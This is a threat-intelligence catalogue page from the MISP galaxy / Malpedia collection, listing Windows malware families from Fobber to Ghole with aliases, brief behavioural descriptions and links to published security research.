https://www.eset.com/int/about/newsroom/press-releases/announcements/press-threatsense-report-july-2009/

Fobber

The tag is: *misp-galaxy:malpedia="Fobber"*

Fobber is also known as:

Table 2187. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fobber
https://blog.malwarebytes.com/threat-analysis/2015/06/elusive-hanjuan-ek-caught-in-new-malvertising-campaign/
http://byte-atlas.blogspot.ch/2015/08/knowledge-fragment-unwrapping-fobber.html
https://www.govcert.admin.ch/blog/12/analysing-a-new-ebanking-trojan-called-fobber
http://blog.wizche.ch/fobber/malware/analysis/2015/08/10/fobber-encryption.html
http://www.govcert.admin.ch/downloads/whitepapers/govcertch_fobber_analysis.pdf

FONIX

The tag is: *misp-galaxy:malpedia="FONIX"*

FONIX is also known as:

Table 2188. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fonix
https://labs.sentinelone.com/the-fonix-raas-new-low-key-threat-with-unnecessary-complexities/
https://labs.bitdefender.com/2021/02/fonix-ransomware-decryptor/

Formbook

FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.

The tag is: *misp-galaxy:malpedia="Formbook"*

Formbook is also known as:

- win.xloader

Table 2189. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook
https://www.peerlyst.com/posts/how-to-analyse-formbook-a-new-malware-as-a-service-sudhendu?trk=explore_page_resources_recent
https://www.connectwise.com/resources/formbook-remcos-rat
https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf
https://blogs.quickheal.com/formbook-malware-returns-new-variant-uses-steganography-and-in-memory-loading-of-multiple-stages-to-steal-data/
https://www.peerlyst.com/posts/how-to-understand-formbook-a-new-malware-as-a-service-sudhendu?
https://umbrella.cisco.com/blog/navigating-cybersecurity-during-a-pandemic-latest-malware-and-threat-actors
http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html
https://www.cyren.com/blog/articles/example-analysis-of-multi-component-malware
https://www.zscaler.com/blogs/security-research/analysis-xloaders-c2-network-encryption
https://blog.talosintelligence.com/2018/06/my-little-formbook.html
https://www.arbornetworks.com/blog/asert/formidable-formbook-form-grabber/
https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware
https://forensicitguy.github.io/xloader-formbook-velvetsweatshop-spreadsheet/
https://blog.netlab.360.com/purecrypter
https://cert.gov.ua/article/955924
https://blog.malwarebytes.com/threat-analysis/2021/05/revisiting-the-nsis-based-crypter/
http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html
https://threatresearch.ext.hp.com/javascript-malware-dispensing-rats-into-the-wild/
https://www.trendmicro.com/en_us/research/21/i/formbook-adds-latest-office-365-0-day-vulnerability-cve-2021-404.html
https://news.sophos.com/en-us/2020/05/14/raticate/
https://elastic.github.io/security-research/intelligence/2022/01/01.formbook-adopts-cabless-approach/article/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://link.medium.com/uaBiIXgUU8
https://isc.sans.edu/diary/26806
https://securityintelligence.com/posts/roboski-global-recovery-automation/

https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord
https://www.lac.co.jp/lacwatch/report/20220307_002893.html
https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/
http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/
https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko
https://www.cyberbit.com/blog/endpoint-security/formbook-research-hints-large-data-theft-attack-brewing/
https://blogs.blackberry.com/en/2021/09/threat-thursday-xloader-infostealer
https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html
https://youtu.be/aQwnHIlGSBM
https://www.netskope.com/blog/new-formbook-campaign-delivered-through-phishing-emails
https://www.cyberbit.com/formbook-research-hints-large-data-theft-attack-brewing/
https://www.fortinet.com/blog/threat-research/deep-analysis-new-formbook-variant-delivered-phishing-campaign-part-I
https://drive.google.com/file/d/1oxINyIJfMtv_upJqRK9vLSchIBaU8wiU/view
https://www.botconf.eu/wp-content/uploads/2018/12/2018-R-Jullian-In-depth-Formbook-Malware-Analysis.pdf
https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/
https://tccontre.blogspot.com/2020/11/interesting-formbook-crypter.html
https://blog.360totalsecurity.com/en/bayworld-event-cyber-attack-against-foreign-trade-industry/
https://thisissecurity.stormshield.com/2018/03/29/in-depth-formbook-malware-analysis-obfuscation-and-process-injection/
https://www.fireeye.com/blog/threat-research/2017/10/formbook-malware-distribution-campaigns.html
https://blog.cyble.com/2022/07/01/xloader-returns-with-new-infection-technique/
https://asec.ahnlab.com/en/32149/
https://www.fortinet.com/blog/threat-research/deep-analysis-formbook-new-variant-delivered-phishing-campaign-part-ii
https://usualsuspect.re/article/formbook-hiding-in-plain-sight
https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-inside-formbook-infostealer/
https://insights.oem.avira.com/a-new-technique-to-analyze-formbook-malware-infections/
https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/

FormerFirstRAT

The tag is: *misp-galaxy:malpedia="FormerFirstRAT"*

FormerFirstRAT is also known as:

- ffrat

Table 2190. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.former_first_rat
https://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies
https://unit42.paloaltonetworks.com/atoms/shallowtaurus/
https://threatvector.cylance.com/en_us/home/breaking-down-ff-rat-malware.html
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/space-pirates-tools-and-connections/

FortuneCrypt

The tag is: *misp-galaxy:malpedia="FortuneCrypt"*

FortuneCrypt is also known as:

Table 2191. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fortunecrypt
https://securelist.com/ransomware-two-pieces-of-good-news/93355/

FoxSocket

The tag is: *misp-galaxy:malpedia="FoxSocket"*

FoxSocket is also known as:

Table 2192. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.foxsocket
https://www.trendmicro.com/en_us/research/21/j/purplefox-adds-new-backdoor-that-uses-websockets.html

FRat

A RAT employing Node.js, Sails, and Socket.IO to collect information on a target

The tag is: *misp-galaxy:malpedia="FRat"*

FRat is also known as:

Table 2193. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.frat
https://github.com/jeFF0Falltrades/IoCs/blob/master/Broadbased/frat.md

Freenki Loader

The tag is: *misp-galaxy:malpedia="Freenki Loader"*

Freenki Loader is also known as:

Table 2194. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.freenki
https://researchcenter.paloaltonetworks.com/2017/10/unit42-freemilk-highly-targeted-spear-phishing-campaign/
http://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://blog.talosintelligence.com/2018/01/korea-in-crosshairs.html
https://www.trendmicro.com/en_us/research/20/l/who-is-the-threat-actor-behind-operation-earth-kitsune-.html

FriedEx

The tag is: *misp-galaxy:malpedia="FriedEx"*

FriedEx is also known as:

- BitPaymer
- DoppelPaymer
- IEncrypt

Table 2195. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.friedex
https://www.welivesecurity.com/2018/01/26/friedex-bitpaymer-ransomware-work-dridex-authors/

https://www.bleepingcomputer.com/news/security/new-evil-corp-ransomware-mimics-payloadbin-gang-to-evade-us-sanctions/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.blueliv.com/cyber-security-and-cyber-threat-intelligence-blog-blueliv/research/everis-bitpaymer-ransomware-attack-analysis-dridex/
https://www.bleepingcomputer.com/news/security/doppelpaymer-ransomware-launches-site-to-post-victims-data/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://blog.trendmicro.com/trendlabs-security-intelligence/account-with-admin-privileges-abused-to-install-bitpaymer-ransomware-via-psexec
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://blog.trendmicro.com/trendlabs-security-intelligence/ursnif-emotet-dridex-and-bitpaymer-gangs-linked-by-a-similar-loader/
https://www.sentinelone.com/wp-content/uploads/2022/02/S1_-SentinelLabs_SanctionsBeDamned_final_02.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/what-is-behind-ransomware-attacks-increase.html
https://www.crowdstrike.com/blog/doppelpaymer-ransomware-and-dridex-2/
https://sites.temple.edu/care/ci-rw-attacks/
https://assets.sentinelone.com/sentinellabs/sentinellabs_EvilCorp
https://www.cronup.com/post/de-ataque-con-malware-a-incidente-de-ransomware
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/csi-evidence-indicators-for-targeted-ransomware-attacks/
http://www.secureworks.com/research/threat-profiles/gold-drake
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.crowdstrike.com/blog/hades-ransomware-successor-to-indrik-spiders-wastedlocker/
https://www.armor.com/resources/threat-intelligence/the-evolution-of-doppel-spider-from-bitpaymer-to-grief-ransomware/
https://nakedsecurity.sophos.com/2018/09/11/the-rise-of-targeted-ransomware/
https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions
https://www.crowdstrike.com/blog/big-game-hunting-the-evolution-of-indrik-spider-from-dridex-wire-fraud-to-bitpaymer-targeted-ransomware/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.zdnet.com/article/the-malware-that-usually-installs-ransomware-and-you-need-to-remove-right-away/

https://symantec.broadcom.com/hubfs/The_Ransomware_Threat_September_2021.pdf
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1/
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://www.secureworks.com/research/threat-profiles/gold-drake
https://killingthebear.jorgetesta.tech/actors/evil-corp

win.fujinama

Fujinama is a custom VB info stealer capable to execute custom commands and custom exfiltrations, keylogging and screenshot. It was involved in the compromise of Leonardo SpA, a major Italian aerospace and defense company.

The tag is: *misp-galaxy:malpedia="win.fujinama"*

win.fujinama is also known as:

Table 2196. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fujinama
https://reaqta.com/2021/01/fujinama-analysis-leonardo-spa

FunnySwitch

The tag is: *misp-galaxy:malpedia="FunnySwitch"*

FunnySwitch is also known as:

- RouterGod

Table 2197. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funnyswitch
https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/
https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/#id5-2
https://i.blackhat.com/Asia-22/Thursday-Materials/AS-22-LeonSilvia-NextGenPlugXShadowPad.pdf

FunnyDream

The tag is: *misp-galaxy:malpedia="FunnyDream"*

FunnyDream is also known as:

Table 2198. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.funny_dream
https://go.recordedfuture.com/hubfs/reports/cta-2021-1208.pdf
https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf
https://insight-jp.nttsecurity.com/post/102glv5/pandas-new-arsenal-part-3-smanager
https://nao-sec.org/2021/01/royal-road-redive.html
https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

Furtim

The tag is: *misp-galaxy:malpedia="Furtim"*

Furtim is also known as:

Table 2199. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.furtim
https://sentinelone.com/blogs/sfg-furtims-parent/

FuxSocy

FuxSocy has some similarities to win.cerber but is tracked as its own family for now.

The tag is: *misp-galaxy:malpedia="FuxSocy"*

FuxSocy is also known as:

Table 2200. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.fuxsocy
http://id-ransomware.blogspot.com/2019/10/fuxsocy-encryptor-ransomware.html
https://www.bleepingcomputer.com/news/security/new-fuxsocy-ransomware-impersonates-the-notorious-cerber/

Gacrux

The tag is: *misp-galaxy:malpedia="Gacrux"*

Gacrux is also known as:

Table 2201. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gacrux
https://krabsonsecurity.com/2020/10/24/gacrux-a-basic-c-malware-with-a-custom-pe-loader/

GalaxyLoader

GalaxyLoader is a simple .NET loader. Its name stems from the .pdb and the function naming.

It seems to make use of iplogger.com for tracking. It employed WMI to check the system for - IWbemServices::ExecQuery - SELECT * FROM Win32_Processor - IWbemServices::ExecQuery - select * from Win32_VideoController - IWbemServices::ExecQuery - SELECT * FROM AntivirusProduct

The tag is: *misp-galaxy:malpedia="GalaxyLoader"*

GalaxyLoader is also known as:

Table 2202. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.galaxyloader

gamapos

The tag is: *misp-galaxy:malpedia="gamapos"*

gamapos is also known as:

- pios

Table 2203. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamapos
http://documents.trendmicro.com/assets/GamaPOS_Technical_Brief.pdf

Gameover DGA

The tag is: *misp-galaxy:malpedia="Gameover DGA"*

Gameover DGA is also known as:

Table 2204. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_dga

Gameover P2P

Gameover ZeuS is a peer-to-peer botnet based on components from the earlier ZeuS trojan. According to a report by Symantec, Gameover Zeus has largely been used for banking fraud and distribution of the CryptoLocker ransomware. In early June 2014, the U.S. Department of Justice announced that an international inter-agency collaboration named Operation Tovar had succeeded in temporarily cutting communication between Gameover ZeuS and its command and control servers.

The tag is: *misp-galaxy:malpedia="Gameover P2P"*

Gameover P2P is also known as:

- GOZ
- Mapp
- ZeuS P2P

Table 2205. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gameover_p2p
https://go.recordedfuture.com/hubfs/reports/cta-2021-0909.pdf
https://www.secureworks.com/research/evolution-of-the-gold-evergreen-threat-group
https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf
https://web.archive.org/web/20141016080249/http://www.symantec.com/connect/blogs/security-vendors-take-action-against-hidden-lynx-malware
https://www.intel471.com/blog/cybercrime-russia-china-iran-nation-state
https://www.wired.com/2017/03/russian-hacker-spy-botnet/
https://www.wired.com/?p=2171700
https://www.blackhat.com/docs/us-15/materials/us-15-Peterson-GameOver-Zeus-Badguys-And-Backends.pdf
https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf
http://www.syssec-project.eu/m/page-media/3/zeus_malware13.pdf
https://krebsonsecurity.com/2019/12/inside-evil-corp-a-100m-cybercrime-menace/
https://www.lawfareblog.com/what-point-these-nation-state-indictments

https://www.cert.pl/wp-content/uploads/2015/12/2013-06-p2p-rap_en.pdf
https://www.justice.gov/opa/pr/us-leads-multi-national-action-against-gameover-zeus-botnet-and-cryptolocker-ransomware
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf

Gamotrol

The tag is: *misp-galaxy:malpedia="Gamotrol"*

Gamotrol is also known as:

Table 2206. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gamotrol

Gandcrab

GandCrab was a Ransomware-as-a-Service (RaaS) emerged in January 28, 2018, managed by a criminal organization known to be confident and vocal, while running a rapidly evolving ransomware campaign. Through their aggressive, albeit unusual, marketing strategies and constant recruitment of affiliates, they were able to globally distribute a high volume of their malware.

In a surprising announcement on May 31, 2019, the GandCrab's operators posted on a dark web forum, announced the end of a little more than a year of ransomware operations, citing staggering profit figures. However, If there's one thing that sets these threat actors apart from other groups, it is that they are unpredictable; so there is always the possibility that they might re-surface in one form or another.

The tag is: *misp-galaxy:malpedia="Gandcrab"*

Gandcrab is also known as:

- GrandCrab

Table 2207. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gandcrab
https://www.fortinet.com/blog/threat-research/gandcrab-threat-actors-retire.html
https://hotforsecurity.bitdefender.com/blog/belarus-authorities-arrest-gandcrab-ransomware-operator-23860.html
https://www.scmagazine.com/home/security-news/ransomware/gandcrab-ransomware-operators-put-in-retirement-papers/
https://blog.talosintelligence.com/2018/05/gandcrab-compromised-sites.html

https://gallery.mailchimp.com/c35aef82661dad887b8162a4f/files/e24e8206-a157-4796-a8cb-2b7262cc76e8/CSIS_Threat_Matrix_H1_2019.pdf
https://news.sophos.com/en-us/2019/05/24/gandcrab-spreading-via-directed-attacks-against-mysql-servers/
https://www.advanced-intel.com/post/the-dark-web-of-intrigue-how-revil-used-the-underground-ecosystem-to-form-an-extortion-cartel
https://www.crowdstrike.com/blog/double-trouble-ransomware-data-leak-extortion-part-1
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://intel471.com/blog/a-brief-history-of-ta505
https://labs.bitdefender.com/2018/02/gandcrab-ransomware-decryption-tool-available-for-free/
https://www.crowdstrike.com/blog/the-evolution-of-revil-ransomware-and-pinchy-spider/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-001.pdf
https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/
https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/
https://www.virusbulletin.com/virusbulletin/2020/01/behind-scenes-gandcrabs-operation/
https://www.youtube.com/watch?v=LUxOcpIRxmg
https://teamt5.org/en/posts/introducing-the-most-profitable-ransomware-revil/
https://jsac.jpcert.or.jp/archive/2020/pdf/JSAC2020_1_tamada-yamazaki-nakatsuru_en.pdf
https://www.crowdstrike.com/blog/pinchy-spider-adopts-big-game-hunting/
http://www.secureworks.com/research/threat-profiles/gold-garden
https://www.bleepingcomputer.com/news/security/darkside-ransomware-made-90-million-in-just-nine-months/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-being-distributed-via-malspam-disguised-as-receipts/
https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-different-ways-cook-crab-gandcrab-ransomware-service-raas-analysed-indepth/
https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-operator-arrested-in-belarus/
https://news.sophos.com/en-us/2019/03/05/gandcrab-101-all-about-the-most-widely-distributed-ransomware-of-the-moment/
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://news.sophos.com/en-us/2022/03/17/the-ransomware-threat-intelligence-center/

https://www.europol.europa.eu/newsroom/news/pay-no-more-universal-gandcrab-decryption-tool-released-for-free-no-more-ransom
https://labs.bitdefender.com/2019/02/new-gandcrab-v5-1-decryptor-available-now/
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://enterprise.verizon.com/resources/reports/2019-data-breach-investigations-report.pdf
https://blog.malwarebytes.com/threat-analysis/2019/01/vidar-gandcrab-stealer-and-ransomware-combo-observed-in-the-wild/
https://vimeo.com/449849549
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-distributed-by-exploit-kits-appends-gdcb-extension/
https://www.bleepingcomputer.com/news/security/gandcrab-operators-use-vidar-infostealer-as-a-forerunner/
https://www.bleepingcomputer.com/news/security/gandcrab-ransomware-shutting-down-after-claiming-to-earn-25-billion/
https://unit42.paloaltonetworks.com/revil-threat-actors/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-008.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://sensorstechforum.com/killswitch-file-now-available-gandcrab-v4-1-2-ransomware/
http://asec.ahnlab.com/1145
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-atr-analyzes-sodinokibi-aka-revil-ransomware-as-a-service-what-the-code-tells-us/
https://web.archive.org/web/20190331091056/https://myonlinesecurity.co.uk/fake-cdc-flu-pandemic-warning-delivers-gandcrab-5-2-ransomware/
https://isc.sans.edu/diary/23417
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://blog.malwarebytes.com/threat-analysis/2018/01/gandcrab-ransomware-distributed-by-rig-and-grandsoft-exploit-kits/
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-as-a-service-enabler-of-widespread-attacks
https://www.advanced-intel.com/post/inside-revil-extortionist-machine-predictive-insights
https://www.trendmicro.com/en_in/research/21/k/global-operations-lead-to-arrests-of-alleged-members-of-gandcrab.html
https://krebsonsecurity.com/2019/07/whos-behind-the-gandcrab-ransomware/
http://www.vmray.com/cyber-security-blog/gandcrab-ransomware-evolution-analysis/
https://labs.bitdefender.com/2019/06/good-riddance-gandcrab-were-still-fixing-the-mess-you-left-behind
https://www.secureworks.com/research/threat-profiles/gold-garden

https://tccontre.blogspot.com/2018/11/re-gandcrab-downloader-theres-more-to.html

Gasket

A backdoor used by Mespinoza ransomware gang to maintain access to a compromised network.

The tag is: *misp-galaxy:malpedia="Gasket"*

Gasket is also known as:

Table 2208. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gasket
https://unit42.paloaltonetworks.com/gasket-and-magicsocks-tools-install-mespinoza-ransomware/

Gaudox

Gaudox is a http loader, written in C/C++. The author claims to have put much effort into making this bot efficient and stable. Its rootkit functionality hides it in Windows Explorer (32bit only).

The tag is: *misp-galaxy:malpedia="Gaudox"*

Gaudox is also known as:

Table 2209. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gaudox
http://nettoolz.blogspot.ch/2016/03/gaudox-http-bot-1101-casm-ring3-rootkit.html

Gauss

The tag is: *misp-galaxy:malpedia="Gauss"*

Gauss is also known as:

Table 2210. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gauss
http://contagiodump.blogspot.com/2012/08/gauss-samples-nation-state-cyber.html
https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf

Gazer

The tag is: *misp-galaxy:malpedia="Gazer"*

Gazer is also known as:

- WhiteBear

Table 2211. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gazer
https://github.com/eset/malware-ioc/tree/master/turla
https://www.youtube.com/watch?v=Pvzhtjl86wc
https://securelist.com/shedding-skin-turlas-fresh-faces/88069/
https://www.welivesecurity.com/2017/08/30/eset-research-cyberespionage-gazer/
https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/
https://download.bitdefender.com/resources/files/News/CaseStudies/study/115/Bitdefender-Whitepaper-PAC-A4-en-EN1.pdf
https://securelist.com/introducing-whitebear/81638/

GCleaner

The tag is: *misp-galaxy:malpedia="GCleaner"*

GCleaner is also known as:

Table 2212. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcleaner
https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145
https://bazaar.abuse.ch/browse/signature/GCleaner/

gcman

The tag is: *misp-galaxy:malpedia="gcman"*

gcman is also known as:

Table 2213. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gcman

https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/

Gdrive

According to Unit 42, this is a .NET X64 malware that is capable of interaction with GoogleDrive, allowing an attacker to have victim information uploaded and payloads delivered.

The tag is: *misp-galaxy:malpedia="Gdrive"*

Gdrive is also known as:

- DoomDrive
- GoogleDriveSucks

Table 2214. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gdrive
https://r136a1.info/2022/07/19/a-look-into-apt29s-new-early-stage-google-drive-downloader/
https://unit42.paloaltonetworks.com/cloaked-ursa-online-storage-services-campaigns/

GearInformer

The tag is: *misp-galaxy:malpedia="GearInformer"*

GearInformer is also known as:

Table 2215. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearinformer
https://wapacklabs.blogspot.ch/2017/02/rebranding-ispy-keylogger-gear-informer.html

GEARSHIFT

According to FireEye, GEARSHIFT is a memory-only dropper for two keylogger DLLs. It is designed to replace a legitimate Fax Service DLL.

The tag is: *misp-galaxy:malpedia="GEARSHIFT"*

GEARSHIFT is also known as:

Table 2216. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gearshift

https://content.fireeye.com/apt-41/rpt-apt41/

GEMCUTTER

According to FireEye, GEMCUTTER is used in a similar capacity as BACKBEND (downloader), but maintains persistence by creating a Windows registry run key. GEMCUTTER checks for the presence of the mutex MicrosoftGMMZJ to ensure only one copy of GEMCUTTER is executing. If the mutex doesn't exist, the malware creates it and continues execution; otherwise, the malware signals the MicrosoftGMMExit event.

The tag is: *misp-galaxy:malpedia="GEMCUTTER"*

GEMCUTTER is also known as:

Table 2217. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gemcutter
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Get2

The tag is: *misp-galaxy:malpedia="Get2"*

Get2 is also known as:

- FRIENDSPEAK
- GetandGo

Table 2218. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.get2
https://intel471.com/blog/ta505-get2-loader-malware-december-2020/
https://www.pwc.co.uk/cyber-security/assets/cyber-threats-2019-retrospect.pdf
https://www.telekom.com/en/blog/group/article/eager-beaver-a-short-overview-of-the-restless-threat-actor-ta505-609546
https://intel471.com/blog/a-brief-history-of-ta505
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader
https://elis531989.medium.com/funtastic-packers-and-where-to-find-them-41429a7ef9a7
https://www.hornetsecurity.com/en/security-information/clop-clop-ta505-html-malspam-analysis/
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-006.pdf
https://www.secureworks.com/research/threat-profiles/gold-tahoe

https://blog.fox-it.com/2020/11/16/ta505-a-brief-history-of-their-time/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-returns-with-a-new-bag-of-tricks-602104
https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-009.pdf
https://www.telekom.com/en/blog/group/article/inside-of-cl0p-s-ransomware-operation-615824
https://blog.intel471.com/2020/05/21/a-brief-history-of-ta505/
https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf
https://www.goggleheadedhacker.com/blog/post/13
https://github.com/Tera0017/TAFOF-Unpacker
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf
https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update
https://blog.intel471.com/2020/07/15/flowspec-ta505s-bulletproof-hoster-of-choice/
https://www.telekom.com/en/blog/group/article/cybersecurity-ta505-s-box-of-chocolate-597672
https://github.com/StrangerealIntel/CyberThreatIntel/blob/master/cybercriminal%20groups/TA505/04-10-2019/Malware%20Analysis%2004-10-2019.md

GetMail

The tag is: *misp-galaxy:malpedia="GetMail"*

GetMail is also known as:

Table 2219. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmail
https://github.com/securitykitten/malware_references/blob/master/Appendix%20C%20(Digital)%20-%20The%20Malware%20Arsenal.pdf

GetMyPass

The tag is: *misp-galaxy:malpedia="GetMyPass"*

GetMyPass is also known as:

- getmypos

Table 2220. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.getmypass

https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2015-01-08-getmypass-point-of-sale-malware-update.md
https://blog.trendmicro.com/trendlabs-security-intelligence/new-pos-malware-kicks-off-holiday-shopping-weekend/
https://securitykitten.github.io/2014/11/26/getmypass-point-of-sale-malware.html
https://securitykitten.github.io/2015/01/08/getmypass-point-of-sale-malware-update.html
https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/the-evolution-of-point-of-sale-pos-malware
https://github.com/malware-kitten/securitykitten.github.io/blob/master/_posts/2014-11-26-getmypass-point-of-sale-malware.md

get_pwd

The tag is: *misp-galaxy:malpedia="get_pwd"*

get_pwd is also known as:

Table 2221. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.get_pwd
https://ihonker.org/thread-1504-1-1.html

Gh0stTimes

The tag is: *misp-galaxy:malpedia="Gh0stTimes"*

Gh0stTimes is also known as:

Table 2222. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.gh0sttimes
https://blogs.jpcert.or.jp/en/2021/10/gh0sttimes.html

Ghole

The tag is: *misp-galaxy:malpedia="Ghole"*

Ghole is also known as:

- CoreImpact (Modified)
- Gholee

Table 2223. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/win.ghole
http://www.trendmicro.it/media/wp/operation-woolen-goldfish-whitepaper-en.pdf
